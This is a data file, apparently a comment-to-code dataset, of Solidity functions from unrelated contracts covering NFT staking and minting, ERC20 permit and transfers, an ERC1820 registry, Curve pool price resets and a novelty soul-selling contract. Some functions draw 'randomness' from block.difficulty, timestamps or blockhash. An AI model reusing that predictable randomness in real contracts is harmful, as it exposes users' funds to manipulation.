\"Not the owner\");\n\n _ownerOfToken[tokenIds[i]] = address(0);\n user.stakedVault = _moveTokenInTheList(user.stakedVault, tokenIds[i]);\n user.stakedVault.pop();\n\n loomiVault.safeTransferFrom(address(this), _msgSender(), tokenIds[i]);\n }\n\n emit Withdraw(_msgSender(), tokenIds.length);\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Function for loomi reward claim\n * @notice caller must own a Genesis Creepz\n */", "function_code": "function claim(uint256 tokenId) public nonReentrant whenNotPaused {\n Staker storage user = _stakers[_msgSender()];\n accumulate(_msgSender());\n\n require(user.accumulatedAmount > 0, \"Insufficient funds\");\n require(_validateCreepzOwner(tokenId, _msgSender()), \"!Creepz owner\");\n\n uint256 currentLoomiPot = _getLoomiPot();\n uint256 prevLoomiPot = user.loomiPotSnapshot;\n uint256 change = currentLoomiPot * DIVIDER / prevLoomiPot;\n uint256 finalAmount = user.accumulatedAmount * change / DIVIDER;\n\n user.loomiPotSnapshot = currentLoomiPot;\n user.accumulatedAmount = 0;\n loomi.depositLoomiFor(_msgSender(), finalAmount);\n\n emit Claim(_msgSender(), finalAmount);\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Helper function for arrays\n */", "function_code": "function _moveTokenInTheList(uint256[] memory list, uint256 tokenId) internal pure returns (uint256[] memory) {\n uint256 tokenIndex = 0;\n uint256 lastTokenIndex = list.length - 1;\n uint256 length = list.length;\n\n for(uint256 i = 0; i < length; i++) {\n if (list[i] == tokenId) {\n tokenIndex = i + 1;\n break;\n }\n }\n require(tokenIndex != 0, \"msg.sender is not the owner\");\n\n tokenIndex -= 1;\n\n if (tokenIndex != lastTokenIndex) {\n list[tokenIndex] = list[lastTokenIndex];\n list[lastTokenIndex] = tokenId;\n }\n\n return list;\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Returns accumulated amount from last snapshot based on baseRate\n */", "function_code": "function getCurrentReward(address staker) public view returns (uint256) {\n Staker memory user = _stakers[staker];\n if (user.lastCheckpoint == 0) { return 0; }\n return (block.timestamp - user.lastCheckpoint) * (baseYield * user.stakedVault.length) / SECONDS_IN_DAY;\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Function allows admin withdraw ERC721 in case of emergency.\n */", "function_code": "function emergencyWithdraw(address tokenAddress, uint256[] memory tokenIds) public onlyOwner {\n require(tokenIds.length <= 50, \"50 is max per tx\");\n for (uint256 i; i < tokenIds.length; i++) {\n address receiver = _ownerOfToken[tokenIds[i]];\n if (receiver != address(0) && IERC721(tokenAddress).ownerOf(tokenIds[i]) == address(this)) {\n IERC721(tokenAddress).transferFrom(address(this), receiver, tokenIds[i]);\n emit WithdrawStuckERC721(receiver, tokenAddress, tokenIds[i]);\n }\n }\n }", "version": "0.8.7"} {"comment": "/// @dev Emits an {Approval} event indicating the updated allowance.", "function_code": "function increaseAllowance(address _spender, uint _addedValue) public returns (bool success) {\r\n uint96 addAmount = safe96(_addedValue, \"DAWG::approve: amount exceeds 96 bits\");\r\n uint96 amount = add96(allowances[msg.sender][_spender], addAmount, \"DAWG::increaseAllowance: increase allowance exceeds 96 bits\");\r\n \r\n allowances[msg.sender][_spender] = amount;\r\n\r\n emit Approval(msg.sender, _spender, amount);\r\n return true;\r\n }", "version": "0.8.6"} {"comment": "/** \r\n * @notice Allows spender to `spender` on `owner`'s behalf\r\n * @param owner address that holds tokens\r\n * @param spender address that spends on `owner`'s behalf\r\n * @param _amount unsigned integer denoting amount, uncast\r\n * @param deadline The time at which to expire the signature\r\n * @param v The recovery byte of the signature\r\n * @param r Half of the ECDSA signature pair\r\n * @param s Half of the ECDSA signature pair\r\n */", "function_code": "function permit(address owner, address spender, uint _amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {\r\n uint96 amount;\r\n if (_amount == uint(SafeCast.toUint256(-1))) {\r\n amount = uint96(SafeCast.toUint256(-1));\r\n } else {\r\n amount = safe96(_amount, \"DAWG::permit: amount exceeds 96 bits\");\r\n }\r\n\r\n bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(_NAME)), getChainId(), address(this)));\r\n bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, _amount, nonces[owner]++, deadline));\r\n bytes32 digest = keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\r\n address signatory = ecrecover(digest, v, r, s);\r\n require(signatory != address(0), \"DAWG::permit: invalid signature\");\r\n require(signatory == owner, \"DAWG::permit: unauthorized\");\r\n require(block.timestamp <= deadline, \"DAWG::permit: signature expired\");\r\n\r\n allowances[owner][spender] = amount;\r\n\r\n emit Approval(owner, spender, amount);\r\n }", "version": "0.8.6"} {"comment": "//\n// Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.\n// https://github.com/ProjectOpenSea/opensea-creatures/blob/master/contracts/ERC721Tradable.sol\n//", "function_code": "function isApprovedForAll(address _owner, address _operator)\n public\n view\n override\n returns (bool isOperator)\n {\n // Whitelist OpenSea proxy contract for easy trading.\n ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);\n if (address(proxyRegistry.proxies(_owner)) == _operator) {\n return true;\n }\n\n return ERC721.isApprovedForAll(_owner, _operator);\n }", "version": "0.8.4"} {"comment": "/// @dev Moves tokens `_amount` from `\"sender\"` to `\"recipient\"`\n/// Emits a {Transfer} event", "function_code": "function _transfer(address _from, address _to, uint96 amount) internal {\r\n require(_from != address(0), \"ERC20: cannot transfer from the zero address\");\r\n require(_to != address(0), \"ERC20: cannot transfer to the zero address\");\r\n\r\n balances[_from] = sub96(balances[_from], amount, \"DAWG::_transferTokens: transfer amount exceeds balance\"); // balances[_from].sub(amount);\r\n balances[_to] = add96(balances[_to], amount, \"DAWG::_transferTokens: transfer amount overflows\"); // balances[_to].add(amount);\r\n emit Transfer(_from, _to, amount);\r\n\r\n _moveDelegates(delegates[_from], delegates[_to], amount);\r\n }", "version": "0.8.6"} {"comment": "/// @dev Sets given `_amount` as the allowance of a `_spender` for the `_owner`'s tokens.\n//// Emits a {Approval} event", "function_code": "function _approve(address _owner, address _spender, uint96 amount) internal {\r\n require(_owner != address(0), \"ERC20: approve from the zero address\");\r\n require(_spender != address(0), \"ERC20: approve to the zero address\");\r\n\r\n allowances[_owner][_spender] = amount;\r\n emit Approval(_owner, _spender, amount);\r\n }", "version": "0.8.6"} {"comment": "//@dev this function allows purchase of ERC-20 tokens", "function_code": "function buyTokens(uint256 _numberOfTokens) external payable {\n require(msg.value == _numberOfTokens.mul(tokenPrice));\n uint256 numberOfTokens = _numberOfTokens.mul(10**(tokenContract.decimals()));\n //@mul only to prevent overflow\n require(tokenContract.totalSupply() >= numberOfTokens);\n require(saleActive == true);\n tokenContract.transfer(msg.sender, numberOfTokens);\n tokensSold += numberOfTokens;\n emit Sell(msg.sender, _numberOfTokens);\n }", "version": "0.4.25"} {"comment": "/**\n * Get random index\n */", "function_code": "function randomIndex() internal returns (uint256) {\n uint256 totalSize = MAX_TOKENS - numTokens;\n uint256 index = uint256(\n keccak256(\n abi.encodePacked(\n nonce,\n msg.sender,\n block.difficulty,\n block.timestamp\n )\n )\n ) % totalSize;\n uint256 value = 0;\n if (indices[index] != 0) {\n value = indices[index];\n } else {\n value = index;\n }\n\n // Move last value to selected position\n if (indices[totalSize - 1] == 0) {\n // Array position not initialized, so use position\n indices[index] = totalSize - 1;\n } else {\n // Array position holds a value so use that\n indices[index] = indices[totalSize - 1];\n }\n nonce++;\n // Don't allow a zero index, start counting at 1\n return value.add(1);\n }", "version": "0.8.4"} {"comment": "/**\n * Mint one token internal\n */", "function_code": "function _internalMint(address to) private returns (uint256) {\n require(numTokens < MAX_TOKENS, \"Token limit\");\n\n //Get random token\n uint256 id = randomIndex();\n\n //Change internal token amount\n numTokens++;\n\n //Mint token\n _mint(to, id);\n return id;\n }", "version": "0.8.4"} {"comment": "/**\n * Mint selected amount of tokens\n */", "function_code": "function mint(address _to, uint8 _amount) public payable {\n require(mintEnabled, \"Minting disabled\");\n require(_amount <= 20, \"Maximum 20 tokens per mint\");\n require(msg.value >= _amount * tokenPrice, \"Not enought money\");\n require(_to != address(0), \"Cannot mint to empty\");\n\n _ensureDailyLimit(_amount);\n\n uint256 balance = msg.value;\n\n for (uint8 i = 0; i < _amount; i++) {\n // Sub user balance\n balance = balance.sub(tokenPrice);\n\n // Mint token tok user\n _internalMint(_to);\n }\n\n // Return not used balance\n payable(msg.sender).transfer(balance);\n }", "version": "0.8.4"} {"comment": "/**\n * Mint selected amount of tokens to a given address by owner (airdrop)\n */", "function_code": "function airdrop(address _to, uint8 _amount) public onlyOwner {\n require(mintEnabled, \"Minting disabled\");\n require(_amount <= 20, \"Maximum 20 tokens per mint\");\n require(_to != address(0), \"Cannot mint to empty\");\n\n for (uint8 i = 0; i < _amount; i++) {\n // Mint token tok user\n _internalMint(_to);\n }\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Mints a token to an address with a tokenURI.\r\n * fee may or may not be required*\r\n * @param _to address of the future owner of the token\r\n */", "function_code": "function mintTo(address _to) public payable {\r\n require(_getNextTokenId() <= SUPPLYCAP, \"Cannot mint over supply cap of 2\");\r\n require(mintingOpen == true, \"Minting is not open right now!\");\r\n require(canMintAmount(_to, 1), \"Wallet address is over the maximum allowed mints\");\r\n \r\n \r\n uint256 newTokenId = _getNextTokenId();\r\n _mint(_to, newTokenId);\r\n _incrementTokenId();\r\n updateMintCount(_to, 1);\r\n }", "version": "0.8.9"} {"comment": "// @notice Query if an address implements an interface and through which contract.\n// @param _addr Address being queried for the implementer of an interface.\n// (If '_addr' is the zero address then 'msg.sender' is assumed.)\n// @param _interfaceHash Keccak256 hash of the name of the interface as a string.\n// E.g., 'web3.utils.keccak256(\"ERC777TokensRecipient\")' for the 'ERC777TokensRecipient' interface.\n// @return The address of the contract which implements the interface '_interfaceHash' for '_addr'\n// or '0' if '_addr' did not register an implementer for this interface.", "function_code": "function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) external view override returns (address) {\r\n address addr = _addr == address(0) ? msg.sender : _addr;\r\n if (isERC165Interface(_interfaceHash)) {\r\n bytes4 erc165InterfaceHash = bytes4(_interfaceHash);\r\n return implementsERC165Interface(addr, erc165InterfaceHash) ? addr : address(0);\r\n }\r\n return interfaces[addr][_interfaceHash];\r\n }", "version": "0.6.12"} {"comment": "// @notice Sets the contract which implements a specific interface for an address.\n// Only the manager defined for that address can set it.\n// (Each address is the manager for itself until it sets a new manager.)\n// @param _addr Address for which to set the interface.\n// (If '_addr' is the zero address then 'msg.sender' is assumed.)\n// @param _interfaceHash Keccak256 hash of the name of the interface as a string.\n// E.g., 'web3.utils.keccak256(\"ERC777TokensRecipient\")' for the 'ERC777TokensRecipient' interface.\n// @param _implementer Contract address implementing '_interfaceHash' for '_addr'.", "function_code": "function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external override {\r\n address addr = _addr == address(0) ? msg.sender : _addr;\r\n require(getManager(addr) == msg.sender, \"Not the manager\");\r\n\r\n require(!isERC165Interface(_interfaceHash), \"Must not be an ERC165 hash\");\r\n if (_implementer != address(0) && _implementer != msg.sender) {\r\n require(\r\n IERC1820Implementer(_implementer)\r\n .canImplementInterfaceForAddress(_interfaceHash, addr) == ERC1820_ACCEPT_MAGIC,\r\n \"Does not implement the interface\"\r\n );\r\n }\r\n interfaces[addr][_interfaceHash] = _implementer;\r\n emit InterfaceImplementerSet(addr, _interfaceHash, _implementer);\r\n }", "version": "0.6.12"} {"comment": "// @notice Get the manager of an address.\n// @param _addr Address for which to return the manager.\n// @return Address of the manager for a given address.", "function_code": "function getManager(address _addr) public view override returns(address) {\r\n // By default the manager of an address is the same address\r\n if (managers[_addr] == address(0)) {\r\n return _addr;\r\n } else {\r\n return managers[_addr];\r\n }\r\n }", "version": "0.6.12"} {"comment": "// @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.\n// @param _contract Address of the contract to check.\n// @param _interfaceId ERC165 interface to check.\n// @return True if '_contract' implements '_interfaceId', false otherwise.", "function_code": "function implementsERC165InterfaceNoCache(address _contract, bytes4 _interfaceId) public view override returns (bool) {\r\n uint256 success;\r\n uint256 result;\r\n\r\n (success, result) = noThrowCall(_contract, ERC165ID);\r\n if (success == 0 || result == 0) {\r\n return false;\r\n }\r\n\r\n (success, result) = noThrowCall(_contract, INVALID_ID);\r\n if (success == 0 || result != 0) {\r\n return false;\r\n }\r\n\r\n (success, result) = noThrowCall(_contract, _interfaceId);\r\n if (success == 1 && result == 1) {\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.6.12"} {"comment": "// @dev Make a call on a contract without throwing if the function does not exist.", "function_code": "function noThrowCall(address _contract, bytes4 _interfaceId)\r\n internal view returns (uint256 success, uint256 result)\r\n {\r\n bytes4 erc165ID = ERC165ID;\r\n\r\n assembly {\r\n let x := mload(0x40) // Find empty storage location using \"free memory pointer\"\r\n mstore(x, erc165ID) // Place signature at beginning of empty storage\r\n mstore(add(x, 0x04), _interfaceId) // Place first argument directly next to signature\r\n\r\n success := staticcall(\r\n 30000, // 30k gas\r\n _contract, // To addr\r\n x, // Inputs are stored at location x\r\n 0x24, // Inputs are 36 (4 + 32) bytes long\r\n x, // Store output over input (saves space)\r\n 0x20 // Outputs are 32 bytes long\r\n )\r\n\r\n result := mload(x) // Load the result\r\n }\r\n }", "version": "0.6.12"} {"comment": "// gets the amount of rew", "function_code": "function rewardPerToken(address _rewardToken)\n internal\n view\n returns (uint256 rewardPerToken_, uint256 lastTimeRewardApplicable_)\n {\n RewardToken storage rewardToken = s.rewardTokens[_rewardToken];\n uint256 l_totalSupply = s.totalSupply;\n uint256 lastUpdateTime = rewardToken.lastUpdateTime;\n lastTimeRewardApplicable_ = lastTimeRewardApplicable(_rewardToken);\n if (lastUpdateTime == 0 || l_totalSupply == 0) {\n rewardPerToken_ = rewardToken.rewardPerTokenStored;\n } else {\n rewardPerToken_ =\n rewardToken.rewardPerTokenStored +\n ((lastTimeRewardApplicable_ - lastUpdateTime) *\n rewardToken.rewardRate *\n 1e18) /\n l_totalSupply;\n }\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev Stake ERC-1155\r\n */", "function_code": "function stake(uint256[] calldata tokenIds, uint256[] calldata amounts) external nonReentrant whenNotPaused updateReward(msg.sender) {\r\n require(tokenIds.length == amounts.length, \"TokenIds and amounts length should be the same\");\r\n for(uint256 i = 0; i < tokenIds.length; i++) {\r\n stakeInternal(tokenIds[i], amounts[i]);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Stake particular ERC-1155 tokenId\r\n */", "function_code": "function stakeInternal(uint256 tokenId, uint256 amount) internal {\r\n (,,,,,uint256 series) = INodeRunnersNFT(address(NFT)).getFighter(tokenId);\r\n if(!nftTokenMap[tokenId].hasValue) {\r\n nftTokens.push(tokenId);\r\n nftTokenMap[tokenId] = NftToken({ hasValue: true });\r\n }\r\n require(supportedSeries[series] == true, \"wrong id\");\r\n require(nftTokenMap[tokenId].balances[msg.sender].add(amount) <= tokenMaxAmount, \"NFT max reached\");\r\n\r\n (uint256 strength,,,,,) = INodeRunnersNFT(address(NFT)).getFighter(tokenId);\r\n strength = strength.mul(amount);\r\n\r\n strengthWeight[msg.sender] = strengthWeight[msg.sender].add(strength);\r\n _totalStrength = _totalStrength.add(strength);\r\n _totalSupply = _totalSupply.add(amount);\r\n _balances[msg.sender] = _balances[msg.sender].add(amount); \r\n nftTokenMap[tokenId].balances[msg.sender] = nftTokenMap[tokenId].balances[msg.sender].add(amount);\r\n\r\n NFT.safeTransferFrom(msg.sender, address(this), tokenId, amount, \"0x0\");\r\n emit Staked(msg.sender, tokenId, amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw ERC-1155\r\n */", "function_code": "function withdrawNFT(uint256[] memory tokenIds, uint256[] memory amounts) public updateReward(msg.sender) {\r\n require(tokenIds.length == amounts.length, \"TokenIds and amounts length should be the same\");\r\n for(uint256 i = 0; i < tokenIds.length; i++) {\r\n withdrawNFTInternal(tokenIds[i], amounts[i]);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw particular ERC-1155 tokenId\r\n */", "function_code": "function withdrawNFTInternal(uint256 tokenId, uint256 amount) internal {\r\n (uint256 strength,,,,,) = INodeRunnersNFT(address(NFT)).getFighter(tokenId);\r\n strength = strength.mul(amount);\r\n\r\n strengthWeight[msg.sender] = strengthWeight[msg.sender].sub(strength);\r\n _totalStrength = _totalStrength.sub(strength);\r\n _totalSupply = _totalSupply.sub(amount);\r\n _balances[msg.sender] = _balances[msg.sender].sub(amount);\r\n nftTokenMap[tokenId].balances[msg.sender] = nftTokenMap[tokenId].balances[msg.sender].sub(amount);\r\n\r\n NFT.safeTransferFrom(address(this), msg.sender, tokenId, amount, \"0x0\");\r\n emit Withdrawn(msg.sender, tokenId, amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw all cards\r\n */", "function_code": "function withdraw() public updateReward(msg.sender) {\r\n uint256[] memory tokenIds = new uint256[](nftTokens.length);\r\n uint256[] memory amounts = new uint256[](nftTokens.length);\r\n for (uint8 i = 0; i < nftTokens.length; i++) {\r\n uint256 tokenId = nftTokens[i];\r\n tokenIds[i] = tokenId;\r\n uint256 balance = nftTokenMap[tokenId].balances[msg.sender];\r\n amounts[i] = balance;\r\n }\r\n withdrawNFT(tokenIds, amounts); \r\n }", "version": "0.6.12"} {"comment": "/// @dev uADPriceReset remove uAD unilateraly from the curve LP share sitting inside\n/// the bonding contract and send the uAD received to the treasury.\n/// This will have the immediate effect of pushing the uAD price HIGHER\n/// @param amount of LP token to be removed for uAD\n/// @notice it will remove one coin only from the curve LP share sitting in the bonding contract", "function_code": "function uADPriceReset(uint256 amount) external onlyBondingManager {\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\n // safe approve\n IERC20(manager.stableSwapMetaPoolAddress()).safeApprove(\n address(this),\n amount\n );\n // remove one coin\n uint256 expected =\n (metaPool.calc_withdraw_one_coin(amount, 0) * 99) / 100;\n // update twap\n metaPool.remove_liquidity_one_coin(amount, 0, expected);\n ITWAPOracle(manager.twapOracleAddress()).update();\n IERC20(manager.dollarTokenAddress()).safeTransfer(\n manager.treasuryAddress(),\n IERC20(manager.dollarTokenAddress()).balanceOf(address(this))\n );\n }", "version": "0.8.3"} {"comment": "/// @dev crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside\n/// the bonding contract and send the 3CRV received to the treasury\n/// This will have the immediate effect of pushing the uAD price LOWER\n/// @param amount of LP token to be removed for 3CRV tokens\n/// @notice it will remove one coin only from the curve LP share sitting in the bonding contract", "function_code": "function crvPriceReset(uint256 amount) external onlyBondingManager {\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\n // safe approve\n IERC20(manager.stableSwapMetaPoolAddress()).safeApprove(\n address(this),\n amount\n );\n // remove one coin\n uint256 expected =\n (metaPool.calc_withdraw_one_coin(amount, 1) * 99) / 100;\n // update twap\n metaPool.remove_liquidity_one_coin(amount, 1, expected);\n ITWAPOracle(manager.twapOracleAddress()).update();\n IERC20(manager.curve3PoolTokenAddress()).safeTransfer(\n manager.treasuryAddress(),\n IERC20(manager.curve3PoolTokenAddress()).balanceOf(address(this))\n );\n }", "version": "0.8.3"} {"comment": "/// @dev deposit uAD-3CRV LP tokens for a duration to receive bonding shares\n/// @param _lpsAmount of LP token to send\n/// @param _weeks during lp token will be held\n/// @notice weeks act as a multiplier for the amount of bonding shares to be received", "function_code": "function deposit(uint256 _lpsAmount, uint256 _weeks)\n public\n returns (uint256 _id)\n {\n require(\n 1 <= _weeks && _weeks <= 208,\n \"Bonding: duration must be between 1 and 208 weeks\"\n );\n _updateOracle();\n\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransferFrom(\n msg.sender,\n address(this),\n _lpsAmount\n );\n\n uint256 _sharesAmount =\n IUbiquityFormulas(manager.formulasAddress()).durationMultiply(\n _lpsAmount,\n _weeks,\n bondingDiscountMultiplier\n );\n\n // 1 week = 45361 blocks = 2371753*7/366\n // n = (block + duration * 45361)\n // id = n - n % blockRonding\n // blockRonding = 100 => 2 ending zeros\n uint256 n = block.number + _weeks * blockCountInAWeek;\n _id = n - (n % blockRonding);\n _mint(_sharesAmount, _id);\n // set masterchef for uGOV rewards\n IMasterChef(manager.masterChefAddress()).deposit(\n _sharesAmount,\n msg.sender\n );\n }", "version": "0.8.3"} {"comment": "/// @dev withdraw an amount of uAD-3CRV LP tokens\n/// @param _sharesAmount of bonding shares of type _id to be withdrawn\n/// @param _id bonding shares id\n/// @notice bonding shares are ERC1155 (aka NFT) because they have an expiration date", "function_code": "function withdraw(uint256 _sharesAmount, uint256 _id) public {\n require(\n block.number > _id,\n \"Bonding: Redeem not allowed before bonding time\"\n );\n\n require(\n IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf(\n msg.sender,\n _id\n ) >= _sharesAmount,\n \"Bonding: caller does not have enough shares\"\n );\n\n _updateOracle();\n // get masterchef for uGOV rewards To ensure correct computation\n // it needs to be done BEFORE burning the shares\n IMasterChef(manager.masterChefAddress()).withdraw(\n _sharesAmount,\n msg.sender\n );\n\n uint256 _currentShareValue = currentShareValue();\n\n IERC1155Ubiquity(manager.bondingShareAddress()).burn(\n msg.sender,\n _id,\n _sharesAmount\n );\n\n // if (redeemStreamTime == 0) {\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransfer(\n msg.sender,\n IUbiquityFormulas(manager.formulasAddress()).redeemBonds(\n _sharesAmount,\n _currentShareValue,\n ONE\n )\n );\n }", "version": "0.8.3"} {"comment": "//Custom Minting Function for utility (to be called by trusted contracts)", "function_code": "function mintCustomWarrior(address owner, uint32 generation, bool special, uint randomSeed, uint16 colorHue, uint8 armorType, uint8 shieldType, uint8 weaponType) public onlyTrustedContracts returns(uint theNewWarrior) {\n //Calculate new Token ID for minting\n uint256 _id = _getNextTokenID();\n _incrementTokenTypeId();\n //Log the original creator of this warrior\n creators[_id] = owner;\n\t\t//Generate a new warrior metadata structure, and add it to the warriors array\n warriors[_id]=LibWarrior.newWarriorFixed(owner, generation, special, randomSeed, colorHue, armorType, shieldType, weaponType);\n //Mint the new token in the ledger\n _mint(owner, _id, 1, \"\");\n tokenSupply[_id] = 1;\n\t\t//Return new warrior index\n return _id;\n\t}", "version": "0.5.17"} {"comment": "//Standard factory function, allowing minting warriors.", "function_code": "function newWarrior() public returns(uint theNewWarrior) {\n //Generate a new random seed for the warrior\n uint randomSeed = uint(blockhash(block.number - 1)); //YES WE KNOW this isn't truely random. it's predictable, and vulnerable to malicious miners... \n //Doesn't actually matter in this case. That's all ok. It's only for generating cosmetics etc...\n //Calculate the fee:\n uint warriorFee = LibWarrior.getWarriorCost();\n\n //Take fee from the owner\n transferFAME(msg.sender,address(this),warriorFee);\n\n //Calculate new Token ID for minting\n uint256 _id = _getNextTokenID();\n _incrementTokenTypeId();\n\n //Log the original creator of this warrior\n creators[_id] = msg.sender;\n\n\t\t//Generate a new warrior metadata structure, and add it to the warriors array\n warriors[_id]=LibWarrior.newWarrior(msg.sender, randomSeed);\n\n\t\t//Transfer the paid fee to the warrior as initial starting FAME\n FAMEToWarrior(_id,warriorFee,false);\n\n //Mint the new token in the ledger\n _mint(msg.sender, _id, 1, \"\");\n tokenSupply[_id] = 1;\n\n\t\t//Return new warrior index\n return _id;\n\t}", "version": "0.5.17"} {"comment": "//// Secure payable fallback function - receives bets", "function_code": "function () external payable {\r\n require((msg.value == oneBet) || (msg.sender == owner));\r\n if (msg.sender != owner) {\r\n require(betsState && !emergencyBlock);\r\n require(!betsBlock);\r\n if (numberOfBets < participants+(extraBets-1)) {\r\n bets[numberOfBets] = msg.sender;\r\n numberOfBets++;\r\n emit GotBet(roundID, msg.sender, numberOfBets);\r\n } else {\r\n bets[numberOfBets] = msg.sender;\r\n numberOfBets++;\r\n emit GotBet(roundID, msg.sender, numberOfBets);\r\n betsState = false;\r\n emit ReadyToRoll(roundID, participants+extraBets, oneBet);\r\n }\r\n }\r\n }", "version": "0.4.22"} {"comment": "//// Withdraw and distribute winnings", "function_code": "function withdrawWinnings() external payable\r\n onlyProxy\r\n {\r\n if ((msg.value > expectedReturn) && !emergencyBlock) {\r\n emit BetResult(roundID, 1, msg.value); // We won! Set 1\r\n distributeWinnings(msg.value);\r\n } else {\r\n emit BetResult(roundID, 0, msg.value); // We lost :( Set 0\r\n }\r\n \r\n numberOfBets = 0;\r\n betsState = true;\r\n roundID++;\r\n }", "version": "0.4.22"} {"comment": "/**\r\n * @dev Allows the transfer of token amounts to multiple addresses\r\n * @param beneficiaries Array of addresses that receive the tokens\r\n * @param amounts Array of amounts to be transferred per beneficiary\r\n */", "function_code": "function multiTransfer(address[] calldata beneficiaries, uint256[] calldata amounts) external {\r\n uint256 length = beneficiaries.length;\r\n require(length == amounts.length, \"lenghts are different\");\r\n\r\n for (uint256 i = 0; i < length; i++) {\r\n super.transfer(beneficiaries[i], amounts[i]);\r\n }\r\n }", "version": "0.5.10"} {"comment": "// ========== RESTRICTED ==========", "function_code": "function setCrossDomainMessageGasLimit(CrossDomainMessageGasLimits _gasLimitType, uint _crossDomainMessageGasLimit)\n external\n onlyOwner\n {\n require(\n _crossDomainMessageGasLimit >= MIN_CROSS_DOMAIN_GAS_LIMIT &&\n _crossDomainMessageGasLimit <= MAX_CROSS_DOMAIN_GAS_LIMIT,\n \"Out of range xDomain gasLimit\"\n );\n flexibleStorage().setUIntValue(\n SETTING_CONTRACT_NAME,\n _getGasLimitSetting(_gasLimitType),\n _crossDomainMessageGasLimit\n );\n emit CrossDomainMessageGasLimitChanged(_gasLimitType, _crossDomainMessageGasLimit);\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev Returns the current implementation of `proxy`.\r\n *\r\n * Requirements:\r\n *\r\n * - This contract must be the admin of `proxy`.\r\n */", "function_code": "function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {\r\n // We need to manually run the static call since the getter cannot be flagged as view\r\n // bytes4(keccak256(\"implementation()\")) == 0x5c60da1b\r\n (bool success, bytes memory returndata) = address(proxy).staticcall(hex\"5c60da1b\");\r\n require(success);\r\n return abi.decode(returndata, (address));\r\n }", "version": "0.8.3"} {"comment": "// Transfer the _amount from msg.sender to _to account", "function_code": "function transfer(address _to, uint256 _amount) public returns (bool) {\r\n if (balances[msg.sender] >= _amount && _amount > 0\r\n && balances[_to] + _amount > balances[_to]) {\r\n balances[msg.sender] -= _amount;\r\n balances[_to] += _amount;\r\n Transfer(msg.sender, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.17"} {"comment": "// fallback function, Charon sells napkins as merchandise!", "function_code": "function () public payable {\r\n uint256 amount;\r\n uint256 checkedAmount;\r\n // give away some napkins in return proportional to value\r\n amount = msg.value / napkinPrice;\r\n checkedAmount = checkAmount(amount);\r\n // only payout napkins if there is the appropriate amount available\r\n // else throw\r\n require(amount == checkedAmount);\r\n // forward money to Charon\r\n payCharon(msg.value);\r\n // finally payout napkins\r\n payOutNapkins(checkedAmount);\r\n }", "version": "0.4.17"} {"comment": "// sells your soul for a given price and a given reason!", "function_code": "function sellSoul(string reason, uint256 price) public payable{\r\n uint256 charonsObol;\r\n string storage has_reason = reasons[msg.sender];\r\n\r\n // require that user gives a reason\r\n require(bytes(reason).length > 0);\r\n\r\n // require to pay bookingFee\r\n require(msg.value >= bookingFee);\r\n\r\n // you cannot give away your soul for free, at least Charon wants some share\r\n charonsObol = price / obol;\r\n require(charonsObol > 0);\r\n\r\n // assert has not sold her or his soul, yet\r\n require(bytes(has_reason).length == 0);\r\n require(soulPrices[msg.sender] == 0);\r\n require(ownedBy[msg.sender] == address(0));\r\n\r\n // pay book keeping fee\r\n payCharon(msg.value);\r\n\r\n // store the reason forever on the blockchain\r\n reasons[msg.sender] = reason;\r\n // also the price is forever kept on the blockchain, so do not be too cheap\r\n soulPrices[msg.sender] = price;\r\n // and keep the soul in the soul book\r\n soulBook[soulsForSale + soulsSold] = msg.sender;\r\n soulsForSale += 1;\r\n }", "version": "0.4.17"} {"comment": "// can transfer a soul to a different account, but beware you have to pay Charon again!", "function_code": "function transferSoul(address _to, address noSoulMate) public payable{\r\n uint256 charonsObol;\r\n\r\n // require correct ownership\r\n require(ownedBy[noSoulMate] == msg.sender);\r\n require(soulsOwned[_to] + 1 > soulsOwned[_to]);\r\n // require transfer fee is payed again\r\n charonsObol = soulPrices[noSoulMate] / obol;\r\n require(msg.value >= charonsObol);\r\n // pay Charon\r\n payCharon(msg.value);\r\n // transfer the soul\r\n soulsOwned[msg.sender] -= 1;\r\n soulsOwned[_to] += 1;\r\n ownedBy[noSoulMate] = _to;\r\n\r\n // Log the soul transfer\r\n SoulTransfer(msg.sender, _to);\r\n }", "version": "0.4.17"} {"comment": "// transfers napkins to people", "function_code": "function payOutNapkins(uint256 amount) internal{\r\n // check for amount and wrap around\r\n require(amount > 0);\r\n // yeah some sanity check\r\n require(amount <= balances[this]);\r\n\r\n // send napkins from contract to msg.sender\r\n balances[this] -= amount;\r\n balances[msg.sender] += amount;\r\n // log napkin transfer\r\n Transfer(this, msg.sender, amount);\r\n }", "version": "0.4.17"} {"comment": "/**\r\n * @notice Extract a bytes32 from a bytes.\r\n * @param data bytes from where the bytes32 will be extract\r\n * @param offset position of the first byte of the bytes32\r\n * @return address\r\n */", "function_code": "function extractBytes32(bytes memory data, uint offset)\r\n internal\r\n pure\r\n returns (bytes32 bs)\r\n {\r\n require(offset >= 0 && offset + 32 <= data.length, \"offset value should be in the correct range\");\r\n\r\n // solium-disable-next-line 